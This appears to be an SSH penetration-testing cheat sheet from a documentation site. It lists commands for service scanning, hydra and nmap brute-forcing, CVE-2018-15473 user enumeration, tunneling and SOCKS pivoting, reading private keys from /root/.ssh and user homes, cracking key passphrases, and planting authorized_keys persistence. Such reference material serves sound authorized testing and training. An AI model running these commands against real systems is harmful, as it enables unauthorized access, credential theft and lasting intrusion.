Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Service Detection
nmap -sV -sC -p 22 TARGET
Banner Grab
nc -nv TARGET 22
ssh TARGET
Brute-Force
hydra -L users.txt -P passwords.txt ssh://TARGET
hydra -L users.txt -P passwords.txt ssh://TARGET -s 2222
crackmapexec ssh TARGET -u users.txt -p passwords.txt
Login with Credentials
ssh user@TARGET
ssh user@TARGET -p 2222
Login with Key
chmod 600 id_rsa
ssh -i id_rsa user@TARGET
Specify Algorithm (Old Servers)
ssh -o KexAlgorithms=diffie-hellman-group1-sha1 -o HostKeyAlgorithms=ssh-rsa user@TARGET
User Enumeration
CVE-2018-15473 (OpenSSH < 7.7)
# ssh-audit
pip3 install ssh-audit
ssh-audit TARGET
# enum script
https://github.com/epi052/cve-2018-15473
python3 ssh_enum.py TARGET -w users.txt
Nmap
nmap -p 22 --script ssh-auth-methods TARGET
SSH Tunneling
Local Port Forward
Access internal service through SSH:
ssh -L 8080:INTERNAL_HOST:80 user@TARGET
# Now access http://localhost:8080
Remote Port Forward
Expose attacker service to target network:
ssh -R 4444:localhost:4444 user@TARGET
Dynamic SOCKS Proxy
ssh -D 9050 user@TARGET
# Configure proxychains: socks5 127.0.0.1 9050
proxychains nmap -sT INTERNAL_HOST
SSH Key Theft
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
Crack Key Passphrase
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Authorized Keys Persistence
# Generate key pair
ssh-keygen -t ed25519 -f key -N ""
# Add to target
echo "$(cat key.pub)" >> /home/user/.ssh/authorized_keys
# Connect
ssh -i key user@TARGET
NSE Scripts
nmap -p 22 --script ssh-brute TARGET
nmap -p 22 --script ssh-hostkey TARGET
nmap -p 22 --script ssh2-enum-algos TARGET
Quick Reference
| Check | Command |
|---|
| Brute-force | hydra -L users.txt -P pass.txt ssh://TARGET |
| Key login | ssh -i id_rsa user@TARGET |
| Local forward | ssh -L 8080:INTERNAL:80 user@TARGET |
| SOCKS proxy | ssh -D 9050 user@TARGET |
| Crack key | ssh2john id_rsa > hash; john hash |